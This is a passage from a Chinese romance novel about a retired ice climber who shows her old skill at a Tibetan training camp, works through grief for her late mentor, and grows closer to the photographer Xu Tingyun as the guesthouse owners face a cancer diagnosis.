“打赌。”周耀指那条决赛线路,“十五分钟?”
“十分钟。”
华松栩面朝冰壁,面前是红圈标注的开始点。她深吸一口气,隔着手套将掌心覆了上去。感受熟悉的触感和温度,有一瞬间她恍惚以为自己从未离开。
在她身后,周耀和徐汀云对视一眼,抬手击掌。
“激将法?”徐汀云笑。
周耀冷哼,“真情实感,我就是质疑她退步了怎么着?”
华松栩和肖鸣、泉哥打了个手势,安全绳收紧,并镐,上脚,正式开始计时。
她轻松上左手勾住点位,右脚打开稳住,一换脚右手再上,爬上第一个冰体用时不过十秒钟。就这几下,所有人都被吸引了过来。
向上点位分散距离远,花椰菜冰体突出冰面形成仰角。华松栩没有丝毫的停顿,微蹲,上左镐勾点,右镐咬在牙间腾出右手并手,用力挺身上脚的瞬间左手拿住牙间的镐向右上方探,身体舒展,稳稳勾住。
“这是条男子线路,就刚这个位置,大部分男选手都得卡壳半分钟。”周耀感慨,“咱阿栩宝刀不老啊!”
徐汀云没应,事实上此刻他一句话都说不出来,手里端着的相机忘了,身边站着的人忘了,此刻身处的地方也忘了。他的眼里只能看到那一抹灵巧利落的身影。
又是一个并手,通过牙间换镐,华松栩已经攀爬了二十多米左右。即将迎接她的是裸露的岩壁和冰岩混合路段。下一个点位在右侧约莫一米五到两米远的距离,远超过华松栩的臂展。
周耀兴奋,“来了来了!Dyno来了!”
华松栩左臂向左上方勾住点,试了试后扭头喊道:“绳子松一点!”
“松了,可以吗?”泉哥问。
“OK!”
这次是真的来了。
只见华松栩左手、双脚形成三角形支点,一个蓄力后向右飞身而上,右镐稳稳挂住下一个点位,右脚落定,身体在惯性下向右摆,甩回来时顺势落左脚,完美完成一个动态。
“哇哦!!!”
“我靠牛掰!!!”
惊呼声四起。
最后阶段是沿着插入冰壁的光滑木桩移动十多米,也就是传说中的暴力横移。
华松栩立稳重心向下看,“几分钟了?”
周耀扫了眼手机上的计时器,“六分钟!”
华松栩右手挂着支点,就这样扭头看过来,恰好面对徐汀云。
她将左手冰镐对准周耀,居高临下道:“二十分钟?”
周耀大笑:“八分钟!!!”
华松栩也笑了。那一瞬的神采飞扬,一如旧时光,一如徐汀云从阿栩的文字中幻想过的那样。
24. 一个拥抱 “Figure
“Figure4走起!!!”
华松栩将冰镐挂在木桩上,双脚离开冰面,身体悬于半空。她深呼吸了下,核心爆发的瞬间抬起右腿挂在自己的右臂上,咬住左镐,左手去拉右手里的镐,松右手的瞬间换左腿挂左臂。
这个姿势下,身体的轮廓和手写数字4及其相似。全程,支点只有一只镐和一只手臂,通过换手腾手的动作横移,需要攀登者强悍的核心和上肢力量,也需要超乎常人的协调性和柔韧性。
华松栩挪了约莫三米,已经有点脱力了。她停顿,换手休息,不断调整呼吸。
“加油!你可以的!”底下有人在喊。
她觉得自己有点不行了,但刚才夸下海口,这会拼一把也得试试。
歇了三十秒,华松栩继续开始。随着她一点点靠近结束点,喘息声愈来愈大,浑身每一块肌肉都因爆发力而微微颤抖。时间慢了下来,每一次伸手换腿的动作在她眼底慢放拉长。在挪到木桩尽头时,她已经感知不到自己的手臂了。
结束点就在两米外悬空。
下方,周耀神色微变,低声冲泉哥喊了句,“准备好。”
泉哥和肖鸣立刻收紧手里的绳索,时刻准备应对脱力后的冲坠。
徐汀云察觉到她的力竭,也懂她此刻咬紧牙关不服输的倔强。他眼眶发热,尽力让自己的声音正常,冲头顶的身影喊道:“阿栩,不管怎样你都是最棒的!”
在他话音落的瞬间,华松栩猛吸一口气,整个人凌空以破釜沉舟之势扑了出去。
所有人屏住了呼吸,安全员已经将绳索绕在了手臂上准备发力,连藏北高原的风都为之停滞了一秒。
“呼——”
在这口气呼出的瞬间,右手的冰镐稳稳挂住了终点!
她在数十米的高空中摇摆,在重新流淌的空气中喘息,在人群爆发式的欢呼中,感受血液再次沸腾的震颤。
柔和的阳光洒在湛蓝的冰面上,折射璀璨的光芒。周遭的一切都融于纯净至极的梦,幻化成触手可及的熊熊烈火,又无声无息的隐于心间。
此时此刻,华松栩活着,炽热的活着。
下降时,她握住冰镐尖的双臂自然下垂,重心微微后仰。像一只鸟儿,在蓝天中自由翱翔,没有阴霾,只有蕴含野性的坚韧。徐汀云含泪,拍下了这个瞬间。
华松栩每一块肌肉都在颤抖。落地她踉跄了下没站稳,眼看要脱力跪下去时,跌入了一个坚实有力的怀抱。那人帮她取掉了安全绳和头盔,接走冰镐,又轻柔地扶她坐了下来。
她茫然地望着前方,看到了八年间无数次向她跑来的丰哥。每次比赛爬线,都有他在旁陪伴,爬得好过来摸摸她的头,爬得不好也过来摸摸她的头。他是她唯一的兄长,是她人生路上的引领者。可如今,她孤零零坐在这,没有人会像丰哥那样疼惜地摸摸她的头了。
发心一沉。一只温热的手掌落定,一下下抚着她随手扎起的发。
华松栩不可思议地抬起头,落入了徐汀云泛红的双眸。她盯着他眼中的自己,有瞬间的恍惚,而后清明。
“徐汀云?”她听到自己问。
“嗯。”徐汀云唇角边的梨涡一闪而过,“在呢。”
在漫长的对视中,华松栩的思绪被一点点拉回到现实,拉回到一年后的时间,也拉回到她被他拢进怀里的瞬间。
她缓慢地呼吸,又缓慢地将前额抵在了他肩上。
徐汀云领口微敞,察觉到了一丝不明显的湿意。
华松栩小露身手,一下成为学员中被追随的对象。当天晚上的篝火晚会,她身旁的人换了一个又一个,无外乎夸赞她的技术或想要留一个联系方式。徐汀云稳稳坐在她的另一边,礼貌地替她回答或是回绝。
“还吃吗?”徐汀云见她放下筷子,小声问。
华松栩摇头,端起啤酒瓶,手有点抖所以易拉罐磕牙,只能凑活着喝。
宁函林坐在对面,看到后向周耀抱怨:“周教练,你们都喝酒怎么不让我们喝?”
周耀指厨房,“那还有,问题是让你喝你敢喝吗?”
学员们都是刚到高原两天,身体还在适应阶段。酒精极易诱发高反。
“那你们怎么呼呼喝,喝这么猛。”
“我们多少年摸爬滚打?和我们比?”周耀笑着摇头。
宁函林的视线再次落在华松栩身上,“这位姐姐也是吗?”
华松栩说:“我不是。”
“你今天攀冰那几下太牛了,去参加比赛不是铁定的冠军嘛?怎么不试一试呢?”宁函林好奇。
徐汀云把手里的烧烤签扔进垃圾桶,擦擦手,笑嘻嘻道:“你就当她是江湖隐士,深藏功与名。”
宁函林眯眼看他,也笑嘻嘻地问:“我一直好奇,你俩怎么认识的?感觉画风完全不在一个图层。”
闻言,徐汀云苦瓜脸,“问就是别问。”
“什么嘛!”大家起哄。
华松栩在这样的环境下有些不适,加上体力和心力都有些透支,表情不太好看。正常玩笑交流,她没觉得被冒犯,单纯不习惯。于是丢下一句我出去抽烟,提着酒瓶出了院子。
有人跟了上来。
“你继续吃。”她没回头。
“等会再吃。”
华松栩惊讶驻足,“怎么是你?”
周耀黝黑粗旷的面庞浮现一抹细腻的情绪,细腻的不爽,“怎么不能是我?”
“没想到。”她揉揉眉心。
周耀哼了两声,“小徐是要跟出来的,可惜我动作快,他往后稍稍。”
华松栩勾唇。
“阿栩。”周耀几番欲言又止后说,“你考虑过以后吗?如果真退圈,你打算干点什么?”
客栈门口是条马路,双向单车道。华松栩去对面的石墩子上坐下,“没什么想干的。而且大学都没读完的人,在这个社会能干什么?”
周耀叹了口气,“所以当时丰哥反对你退学,你不听。985啊!说不上就不上了,现在后悔吧?”
“确实有点可惜,但不后悔。”华松栩
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拖着语调,有些漫不经心,“当时的情况,再在海城待下去,不到毕业我都得疯。”
有几辆车呼啸而过,华松栩单薄的身影被前灯照亮,转瞬又被黑暗裹挟。
周耀轻声说:“如果没其他路走,就回来吧。明明爱这一行,就别因为任何人任何事放弃。”
华松栩答不了,一直到徐汀云坐在她身旁,依然答不了。
他接过她手里的啤酒瓶,有些无奈地说:“手抖成这样,我帮你端。”
华松栩唔了一声回神,慢慢揉小臂和手腕,“好久没运动,果然退化了。”
“你的退化又是谁进化一辈子都无法企及的高度?”徐汀云眼底浮现一丝担忧,“明天估计更疼,回的时候我开。”
华松栩哆哆嗦嗦掏烟盒,“我敢开,你敢坐吗?”
徐汀云再次接过,“敢啊。刀山火海都敢跳,坐车有什么不敢。”
有了前几次的经验,他对点烟的流程已经很熟悉了,甚至很长记性地捏住靠中间的位置,避免离烟嘴过近。
“我不带你跳刀山火海。”华松栩就着他的手,在浓郁的烟草味中嗅到了雪后树木散发的气息,“我想让你稳稳走过属于你的人生轨迹,而不是盲从任何人。”
“盲从?”徐汀云于唇齿间反复揉捏这两个字,疑云随之涌上心头。
华松栩偏头,徐汀云将烟凑到她的唇边。女人一颦一笑眼波流转,甚至随意的一挥手、唇角漫不经心的弧度都勾他心弦,让他控制不住的心动,又难以忍耐的心疼。
“如果有一天我死了,你还想入行吗?”
她的语气很淡,很寻常。寻常得像是在谈论天气,而非生死。
徐汀云怔住了,连华松栩什么时候抽去他手中即将燃尽的烟都没意识到。
华松栩一仰头喝干酒瓶里的酒,又将烟头扔进空瓶,“我能理解你,因为我也是这样过来的。我在最崩溃绝望的时期、最迷茫的年纪认识了丰哥,也爱上了这项运动,一路走过了七八年的时间。”
“这一路很漫长,也很艰辛。但我从来没怕过,也没后悔过。现在他死了,我却走不下去了。”
她停顿了几秒,笑着说:“这一年,我有时候恍惚间分不清,究竟是我在走自己的路,还是跟着他走他的路。”
徐汀云明明没有拉伤肌肉,此刻双手却微微颤抖。
“今天老周问我同不同意他来带你,我说这是你的事情,你自己决定。”华松栩起身,“如果你是因为我想入行,建议你买机票立刻回家。如果是单纯的热爱,跟着老周是最好的选择。”
说罢,她在酒精作用下晃悠悠地穿过寂静无声的柏油路,留徐汀云一人去思考。正要抬手推开半阖的木门时,却被人唤停了步伐。
“阿栩。”
“这个问题现在的我回答不了。但无论未来的答案是什么,我的决定不变。”
几缕发丝不识趣地遮挡了视线,华松栩闭上眼睛,听觉随之更加敏锐。
她听到徐汀云说:“我只跟着你。”
25. 强制教学
华松栩一觉睡到十点才悠悠转醒。昨晚她洗澡连沐浴露都挤不出来,当机立断和周耀打了个招呼说休息一天。事实证明她的决定无比明智,此刻拿起手机堪比搬起一座山。
好不容易解锁,几条未读消息映入眼帘。她指尖一顿,拐了个弯,优先去看周耀。
【老周:[视频]】
【老周:两个小时速成,就说我这个老师厉不厉害?】
华松栩点开视频,是徐汀云爬一条WI3难度的顶绳线路。从背影看,重心转移流畅,选点打镐的动作利落果决,完全看不出是一个只上了一天课的学员。她一连看了好几遍,这才回了几个字。
【阿栩:学生厉害,你被带飞而已。】
回了周老师的消息,下一个是学生小徐。
【阿栩革命战友小徐同学:醒了去门口瞅瞅,给你放了点东西。】
华松栩眨眨眼,消化了半晌,意识到她去门口得先完成起床的动作,遂决定再懒一会。这一懒过了一个小时,徐汀云又发来了消息。
【阿栩革命战友小徐同学:还没醒吗?门口的饭如果凉了就别吃了,我中午给你带牛肉面。】
这下,华松栩躺不住了。她蛄蛹到床边,弓腰屈腿依靠腿下垂的惯性带起上半身,双手握拳吃劲,在一阵呲牙咧嘴的嘶嘶声后,终于起身,蠕动至门口。靠门框的是一个不起眼的黑色袋子,如果不是收到信息,她八成会应激,勾起梅雨天忘记扔垃圾的恐惧。
华松栩在怀疑和期待中打开,里面是从怀远村出发时装牦牛肉的保温盒,跌打损伤的喷雾,和一袋凝胶贴膏。这种贴膏她用过,对缓解肌肉酸痛效果奇佳,但绝非在这座小镇上能买到的。
她喷了药,贴了贴膏,慢慢吃完保温盒里还冒着热气的早饭,又给徐汀云回了条消息,倒头躺了回去。
徐汀云在休息时间看到华松栩的微信,简明扼要。
【阿栩:谢谢,午饭不吃了。】
【阿栩革命战友小徐同学:那晚饭想吃什么?】
一直到训练结束,他都没收到回复,于是一回客栈就跑去敲隔壁的门。敲了至少三分钟,里面终于传来细细碎碎的响动。
“吵死了。”门从内打开,缝隙处探出一只炸毛的脑袋。
徐汀云哭笑不得,“还睡着呢?”
华松栩倚着门框,哈欠一个接一个,“嗯,又困又累。”
徐汀云望着她迷迷糊糊的模样,一个劲笑,笑得很痴汉,“那这会饿了没?”
华松栩静止,全身心感受了下,蔫蔫地点头,“饿了。”
“下楼吃?”徐汀云晃晃手里的袋子,“他们都在店里吃,我先打包回来了。”
最后是在徐汀云的房间里吃的晚饭。华松栩实在不想走楼梯,本来各自端一份回各自房间最好,可免费外卖小哥强烈表达一起吃的愿望,她也不好拒绝。
“你刚说要给我看什么?”华松栩窝在椅子里揣手醒神。
徐汀云迅速布置餐桌,打开盖子又把筷子递她手里,“我今天爬线的视频,你帮我看看。”
“怎么不直接问老周?”
“毕竟是插班生嘛,本来教练学员配比1:2,我不好多占用时间。”
吃人嘴短,华松栩喝了两口热腾腾的牛肉汤,“拿来吧。”
徐汀云掏出手机双手奉上,“谢谢您嘞。”
这是两个二十分钟左右的攀爬视频,华松栩边吃边看,时不时快进,五分钟就扫完了。她放下手机问:“你觉得问题在哪?或者说,你觉得哪里发力不顺?”
“打镐。”徐汀云立刻答,“我试着调整动作,但还找不到最好的方式,导致上下肢衔接不够顺畅。”
华松栩挥了下筷子,“你站起来。”
徐汀云正嗦面呢,还以为自己听错了,“啊?”
“站起来。”华松栩四下张望了一番,筷子尖换了个方向,“把三脚架举起来当冰镐。”
徐汀云顺着她的视线看去,表情有点僵,“我那架子挺贵的……”
“坏了给你赔,快点。”
徐汀云磨磨蹭蹭地走到床边拾起,握在手里,委屈中还带着点不可思议。
华松栩啪的一声放下筷子起身,亲自上手把人从后怼在了墙上。
徐汀云脸都贴墙了还紧紧抱着三脚架,小心地问:“这是什么强/制爱环节吗?”
话音未落,后脑勺就挨了一下,“强制教学懂吗?”
徐汀云磕了一鼻子灰,乖顺点头,“哦。”
“单手拿着,按照肌肉记忆挥。”
徐汀云听话地挥了一下,被华松栩凌空拉住了手腕,“停。”
室内有暖气,徐汀云就穿了一件轻薄的速干T恤。当那只微凉的手顺着他绷紧的肌肉移动时,一根无形的羽毛同步搔着他的心脏,很轻,很痒,存在感过强。
徐汀云高,华松栩只得踮着脚,呼吸随之落在了他泛红的耳廓,“手肘冲前方,顶起来。”
“抡镐的时候,镐头几乎贴在你的背上。”华松栩无知无觉,带着他的手肘向前,又顺着三脚架落在他微弓的脊背,“差不多是这个位置。”
徐汀云吞咽了下,甩甩头,“然、然后呢?”
华松栩用指节顶住隆起的背阔肌,也贴着他的肋骨,“这用力,感受到了吗?”
“感受到了。”徐汀云说。
可惜,此刻小徐感受到的不是发力方式,是华松栩,是整个世界。不过下一秒,那只手离开,他的小世界随之倾塌。
“转过来,挥一下。”
徐汀云机械地听从命令,转身正正面对华松栩,高高举着三脚架。
华松栩急忙后退两步,瞪眼:“哎!谋杀?”
“……没有。”
这一番,徐汀云终于恢复冷静,按照华松栩的指挥做完动作。
华松栩看了一会,满意点头,“从这传导,动力链条很自然,更省力。明天去试试,应该有改善。”
徐汀云90度鞠躬,“谢谢大佬。”
华松栩扫了一眼,“嗯,徐公公免礼。”
——抱着三脚架的动作真的很像大太监手持拂尘。
徐汀云噎了下,“喳!”
华松栩扑哧一声笑了出来。
直到训练营最后一天,天天昏睡赖床的华松栩终于赏脸再次莅临现场。<
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p>周耀一看见她就笑,“就爬一条线躺好几天,退化回侏罗纪啦!”
华松栩盘腿坐在车前引擎盖上,冷眼乜他,“知道我躺好几天,也没见你来关心我。”
“哪用得着我关心呐!”周耀拖着长长的尾音,冲前一抬下巴,“这不有人比我还上心吗?”
华松栩顺着他的目光看去,徐汀云正挂在冰壁上学先锋建站,练习打冰锥挂绳。
周耀问:“你那肌肉贴管用吗?”
“管——你怎么知道?”
“小伙问我借了车,早上六点起来去县城给你买的。”
华松栩其实已经猜到了,但真的得到确认,心尖还是颤了下。她这些年和糙老爷们一起混,也过得糙。受了伤有空涂涂药,没空就放任自己痊愈,更别说专门开几十公里去买肌肉贴了。
“还有,小徐已经拒绝我了,坚持要跟你。”周耀惆怅,“我跟你差在哪?难道是颜值不够?”
“嗯,颜值不够。”华松栩真诚,“你又黑了好几度,也老了不少。”
周耀:……
华松栩狠狠摞了把散乱的发丝,感觉很棘手。她没有回应,徐汀云也没再提起,原以为可以默契地翻篇,没想到他这么坚决。
那头有好几个学员呼唤,周耀赶紧跑过去。华松栩也跳下车,走到徐汀云攀冰线路下方。泉哥正在当他的保护员。
“阿栩来了?”泉哥看了她一眼就收回视线,密切关注攀冰者的一举一动。
“嗯。”华松栩仰头看,“这么快就学先锋了?”
“确实快,小伙真有天赋。”泉哥笑道。
华松栩看了一阵,说:“我来吧泉哥,老周那边忙不过来。”
“行。”
华松栩戴上头盔和安全带,两人迅速交换。她固定好锁扣后撤了几步,双手拉住绳。
徐汀云已经爬到十米左右的高度,刚建好一个点,继续抡冰镐上行。镐尖砸进有些碎的冰壁,带出大小不一的冰块,急忙提醒:“冰!”
华松栩选的位置比较好,碎冰噼里啪啦砸在了她左前方两米的地面,于是应了一句,“没事!”
徐汀云听到声音,挂在冰镐上往下看,嘴角瞬间飞到天上了,“怎么是你?”
华松栩手背冲外扬了下,“本人经验丰富,绝对安全。赶紧爬你的!”
“相信你!”徐汀云喊了一句,继续向上攀。
华松栩勾了勾唇,一路看着他稳稳爬到预定地点,又突然停住了,“怎么了?”
徐汀云没应,不知道在凿什么。
“冰况不好吗?冰锥固定不住吗?”
攀冰这项运动不确定性很大,因为冰况不稳定。很可能早上爬还好好的,下午就碎到无法固定。不稳定,代表危险系数增加。
华松栩有点着急,“徐汀云!
“没事!”良久,徐汀云终于动了起来,开始下降。
华松栩全程拉紧绳子高度紧张,一直到他稳稳落地才松了口气。
徐汀云连安全绳都没松,笑意吟吟走了过来,“手,给你个东西。”
华松栩不明就里地伸手,掌心落入一块山峰形状的蓝冰。
26. 旅程结束
攀冰训练营结束,华松栩和徐汀云返回理云县。报警受理3日后警方立案,他们去领了立案申请书,正式踏上归途。
回程依然是徐汀云在开,华松栩窝在副驾百无聊赖。这次蓝牙连接徐汀云的手机,放的也是他的歌。听了一会,她眉心逐渐拧成一个川字,“你这个歌单也太杂糅了吧?”
“有吗?”徐汀云疑惑。
“上上一首是LinkinPark的重金属,上一首是巴赫双小提琴,这一首是、卖报歌?”
“这叫音乐无局限。”徐汀云笑了,“很懂啊?”
华松栩兴致缺缺,“换个歌单吧,想听风格统一一点的。”
“行,你想听什么就听什么。”
徐汀云面部解锁准备让华松栩找歌,忽然想起主屏幕背景是两人堪比情侣的合影,手一抖不知道戳了哪,下一秒,伴随着如哨的风声,一男一女的声音响起。
“在雪坡上找了个60厘米宽左右的平台扎营,根本没搭帐篷。躺下还行,就是拿东西不方便……前面就有个正在掏东西的背影,看阿栩这姿势,多艰辛。”
“别拍,烦!”
“烦什么烦,要学会记录。这可是在幺妹峰5900米的海拔高度,世界上有多少人在这过过夜?”
“那也不——”
徐汀云慌乱地按下静音键,车厢内立刻死寂,只有挡风玻璃的风噪提醒二人,还在以70公里的时速向前飞驰。在沉默的三分钟里,他无数次想去看华松栩的神情,又因为复杂多变的路况硬生生忍住。
那是三年前,丰哥发的幺妹峰攀登记录vlog。
华松栩按下蓝牙切换,重新连上自己的手机,随意点了首舒缓的中文曲。她撑着下巴,盯着屏幕上的歌词,一直等到副歌结束觉得不错,按下收藏后才开口打破僵局,“看什么是你的自由,不需要总看我脸色。”
“我知道。”徐汀云抿了下唇,“但我不想你不开心。”
华松栩提唇笑了下。徐汀云经常冷不丁来上一句迷弟发言,她不适应被人当作偶像,也不知道该说些什么,于是没接话。
半小时后,徐汀云驶入停车区,找了个位置停好。
华松栩解开安全带穿外套,“我去趟卫生间。等下咱俩换,你歇会。”
徐汀云嗯了一声。
午后,太阳隐于云层之间躲懒,天色阴沉沉的,风也随之冷却。目之所及,是安静到极致的寂寥。当华松栩裹紧衣领准备上车,发现车上空无一人。她四下张望,终于在靠近路边的一排石阶上看到了熟悉的身影。
徐汀云恰好望过来,招手道:“这边!”
“怎么了?”华松栩兴致不高,但还是走了过去。
“上来,这视野好。”徐汀云伸手拉她。
当华松栩站定,背后男人坚实的胸膛和掌心残留的热度一样不容忽视,眼前道路笔直延伸至地平线、又和失去形状的云朵接壤。时不时有车辆以极快的速度携风而来,两人纷飞的衣角有瞬息的纠缠,随后安静地落回身侧,不叫任何人窥见。
“你猜。”徐汀云的声音在耳畔沉沉响起,“眼前这条路每天有多少人会经过?”
华松栩唇角抽了抽,“猜不到。”
“嗯,我也猜不到。”徐汀云笑开来,“咱俩从这走,数不清的人从这走。那你说,这条路是你的路、我的路还是谁的路?”
华松栩呼吸一窒,神色淡了下来。
徐汀云侧身,和她并肩而立,“经常开长途的司机都知道,危险路段、夜间行车跟前车行驶省力安全。这不是盲从,是选择。”
那晚,华松栩问的问题徐汀云没有回答,两人也心照不宣的按下不提。却没想到在这个不起眼的停车区,他以这样的方式回应,惊讶之余情绪剧烈翻涌,指甲深深陷入掌心。
“你和丰哥走过的路,是他的路,也是你的路。阿栩。”徐汀云顿了顿,“我和你走过的路,也是我们的路。”
良久,华松栩压下心头酸涩,用开玩笑的语气说:“铺垫这么多,就是为了讹上我?”
徐汀云偏头看她,看到了抿成一条直线的唇和颤抖的睫毛,立刻识破了她的伪装。但他也拖着慢吞吞的语调,“讹上了。盲从也好选择也好,反正讹上你了。”
华松栩淡声道:“我都准备溜回海城混吃等死呢,讹上我有什么用?”
“别啊。”徐汀云捏着下巴思考一番,“要不这样,我雇你当助理,咱俩定居滇省搞个生态学的课题研究研究?”
“……我?助理?”
“嗯,专门负责做煲仔饭的助理。”
华松栩扬手一掌砸在徐汀云背上,后者立刻呲牙咧嘴,“嘶——疼!”
“啊、没事吧?”华松栩想起他受伤这一茬,急忙拉着他蹦下台阶,“上车,我看看。”
徐汀云任由手腕被那只冰凉的手攥住,脚下步子配合地放小了些,冲那背影偷偷笑。
就这么一路坐上车,华松栩努努下巴,“衣服撩起来。”
徐汀云眼底的笑意浓得溢出来,“其实快好了。”
“刚还不是喊疼吗?”华松栩狐疑。
“现在不疼了。”徐汀云老实巴交。
华松栩眨眨眼,看到他泛红的耳尖,再看看旁边车位停下的车,一下就懂了。小声嘟囔:“一大老爷们怎么这么羞……那今天回去让方木给你看看。”
徐汀云摸摸脑袋,认下害羞的锅,“哦。”
原本就是逗她开心故意耍宝,真在车上脱衣服,他做不出来。原因在他自己,他的想法不清白。
当车子再次向远方飞驰,徐汀云悄悄打量华松栩直挺挺的身影,回忆某人一脸正气让他脱衣服的样子,发自内的惆怅。道阻且长,比眼前这条看不到尽头的路还长。
傍晚时分,华松栩从没有尽头的国道拐入凹凸不平的乡间小道,这趟从开始到结束每一个环节都无比荒谬的旅程终于画上句号。
她打了个哈欠,“我想休息一天,后天出发吧。”
徐汀云先是挨打后是魔鬼攀冰训练,也乏,“行,我给方木说一声。明天都好
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好补觉。”
停好车,两个奔波劳顿的人蔫头蔫脑地回了客栈。通常这个时间一层很热闹,今天却一反常态的安静。既不见闹哄哄的方木,也不见整理小卖铺的央金。
“路一通,大家伙都走了?”徐汀云朝黑灯瞎火的厨房瞅,什么都没瞅见。
“没有。”华松栩冲楼梯抬下巴,“你亲爱的好基友还在呢。”
“谁是我——”徐汀云看过去,哑然,“……你偷感怎么那么重?干什么呢?”
方木整个人贴墙角,就露出一只眼睛朝门口看,头顶的灯泡很应景的闪烁,像极了恐怖片里的开场惊吓。要不是华松栩见多识广胆子大,换一般人得尖叫着冲出屋子。
方木长看清来人,张开双臂冲过来,“你去哪了!你可算回来了!”
尾音还带着点不明显的哭腔。
徐汀云被他熊抱住,总觉得此情此景似曾相识。像妻子迎接那新婚夜就外出征战十年后才凯旋的丈夫。他僵硬地冲华松栩看去,后者退开两步将空间留给这对新人,特有眼色的样子。
“……”小徐赶紧把自己拔出来,用眼神向华松栩表清白,“这、这孩子不知道怎么了,平时不这样。”
华松栩耸耸肩,憋笑。
方木顾不得暗流涌动,压低嗓门急切地说:“出事了!你有没有老板娘的电话?”
徐汀云和华松栩对视,正色,“怎么回事,慢慢说。”
在方木的叙述中,两人搞清楚了状况。大雪封山前老板嘉措急性胃病去县医院住院,确诊了胃癌。嘉措怕央金干着急,一直等到路通才和她讲。
得知消息央金急匆匆赶去县上,丢下客栈这一摊没人管,这两天有想退房的房客,可老板不在押金也退不了,偶尔还有想来住店的也没人知道怎么安排,可谓是一片混乱。方木没有央金的联系方式,只能干着急。
徐汀云一听,把包丢到墙角,立刻去院子里打电话。华松栩目光追随着那利落笔挺的身影,没错过他眉宇间拢上的阴云。
“姐。”方木小声说,“你打算什么时候走?”
“原计划后天,估计走不了了。”
“啊?为什么?”
华松栩微抬下巴,“问你徐哥。”
说话间徐汀云挂了电话折回来,素日里的笑意全无,在幽暗的灯光下轮廓更显深邃,多了几分沉稳,“我去趟县医院,最快明天回。”
“啊?”方木目瞪口呆。
“嗯,开我的车去。”华松栩给他车钥匙,没有丝毫的惊讶,因为他就是这样的人。
徐汀云摇头,“客栈有面包车。”
华松栩不依,“路况不好,我那车安了雪地胎,安全。”
徐汀云迟疑后还是未接,“算了,你拿好。万一我赶后天还没回来,你拉上方木出山。”
他转向方木说:“你的票还没买吧?买到蓉城出发,陪她开完山路再——”
“不用。”华松栩拉住徐汀云垂在身侧的手臂,强行把钥匙塞进他掌心,“你开着去,我等你回来。”
27. 最甜的糖
华松栩洗完澡,收到了徐汀云报平安的信息,说已经到了医院,晚点打电话。她回了好,转身栽进柔软的床。
短短一个星期内发生了太多的事情,说走就走的旅程,遇到传说中的无人区拦路抢劫,和圈内老友再见,再到择木客栈突如其来的噩耗,单就其中任意一件来说都够她好生歇上一歇,遑论撞到了一起。
听到老板嘉措确诊胃癌时,华松栩其实没有太大的情绪波动。她见过更直接更迅速的死亡,方才还一起说说笑笑的人延70度雪坡滑坠,再找见时头骨都碎了,那种冲击远胜于疾病的侵蚀。
但此时此刻,随着心脏的跳动,无力感随血液蔓延至四肢百骸。那是千百年来经久不衰的哲学命题,也是生命无可避免的结局。
夜里十一点多,手机响了。
华松栩按下接听,沙哑的男音横跨80公里山域在她耳畔沉沉响起,“阿栩。”
在床头灯昏暗的灯光中,华松栩冲窗户的方向侧躺,凝视玻璃上模糊的倒影,指尖不受控的蜷缩,“你那边怎么样?”
徐汀云微微叹气,很浅,似乎不想让她察觉,“下周手术,要切三分之二的胃。”
“嗯。”华松栩不知道该说什么,于是问,“那你什么时候回来?”
徐汀云轻笑,“怎么,怕我开着你的车跑了?也是,毕竟车上那么多专业登山设备,对我来说属于致命诱惑。”
华松栩也笑,“那你跑吗?”
“不跑,我得跟着你呢。什么诱惑都没用。”
华松栩有点想说好,但深夜的感性很快被现实压制,于是抿唇不说话。
徐汀云识趣地转移了话题,“央金的女儿明天下午到,我回来估计六七点。”
“好,路上一定小心。”
“咱俩都同生共死一回了,对我还不放心?”
“行,同生共死。”华松栩失笑,“那你今晚怎么休息?在医院吗?”
“嗯。央金好些东西都不太懂,坐在医院走廊一个劲哭。在她女儿到之前我陪着。”
华松栩摩挲着被角,冷不丁问:“你对谁都这么好吗?”
“嗯?”徐汀云愣怔,旋即又笑了,“怎么着,终于知道我的好啦?”
“是,毕竟谁会捧着泡脚凤爪敲陌生人的车窗,被拒绝了还跟车保驾护航。”华松栩评价,“过于热心。”
“那天晚上看你双目呆滞的样子就知道是疲劳驾驶,又是个独自出行的女孩,想着能帮就帮一把。”徐汀委屈巴巴,“谁能想到被人当成色狼,上来就是一棍子。太狠了。”
“活该。”华松栩冷冰冰道,可唇边笑意不减。
徐汀云也笑了一阵,慢吞吞道:“我在客栈住了一个多月,和老板、老板娘都挺熟,他们也帮了我好多。现在这个情况,我就是尽点绵薄之力,算不上什么。”
“嗯。”华松栩翻了个身,被套随之沙沙作响,“能休息就休息会,有事就给我打电话。我不静音,无论几点都行。”
“好。早点休息,别担心。”
“嗯,晚安。”她说。
“晚安。”徐汀云应。
华松栩放下手机,一夜安眠。
第二天一早,华松栩叫上方木去卖牦牛汤锅的奶奶家取早饭。央金昨晚打了招呼,她回来之前住客的早餐都托付奶奶做,只是得麻烦两个人去取。
方木打了一个又一个哈欠,眼泪哗啦啦往下流,“所以为什么我是两个倒霉蛋之一?”
华松栩果断推锅,“问你徐哥。”
“……好吧。”方木擦擦脸,接受了这个理由。
今天又是个阴天,积雪延绵至天边,灰蒙蒙连成一片,好在空气清冽沁爽,不至于让心情过于阴郁。
华松栩算算日子问:“你在这也待了挺久,学生吗?”
方木点头,“嗯,研二。刚完成小论文,给自己浅浅放个假。”
“研二……24岁?”
“23,早上一年。”
华松栩了然,“难怪。”
方木挠头,“难怪什么?”
“难怪你一口一个徐哥,什么都听你徐哥的。”
“没办法,徐哥太靠谱了。”方木挺直腰杆,“我个人认为,这世界上找不出一个不喜欢徐哥的人。”
说话间到了店门口,华松栩率先迈上台阶掀开厚重的门帘,微微侧首,“嗯,我同意。”
说罢,又率先钻进了暖烘烘的室内。
门帘自然垂落,方木瞪大眼睛思考,她同意什么来着?同意世界上找不出一个不喜欢徐哥的人?那不就是、就是——
他在心里发出了尖锐的爆鸣声。
华松栩走到柜台前,“奶奶,我来取择木客栈的早餐。”
奶奶正坐在小凳子上梳辫子,看到她后笑,“你是和小徐来过的女孩子,还在村里呐?”
“嗯。”
奶奶向她身后看,“你一个人来,拿得动吗?要不我和你一起走一趟?”
华松栩赶紧摆手,“不用,还有一个。”
这时方木走了进来,时机刚刚好。奶奶这才放心,去厨房拿出三个大袋子,边整理边叹气,“央金也是苦命人,才过了几天顺心日子,嘉措又得了重病,也不知这病得不得好。”
华松栩习惯性沉默,突然意识到此刻没有徐汀云在身边,只得有些别扭地说:“下周做手术,有可能能好。”
“那就好,那就得好。”奶奶把早饭一股脑塞给方木,“回去吧,别让大家等急了。”
“嗯,谢谢。”华松栩走到门口,掀帘子让负重的劳力先出,回头冲奶奶笑了下,“扎西德勒。”
奶奶冲她挥手,“扎西德勒。”
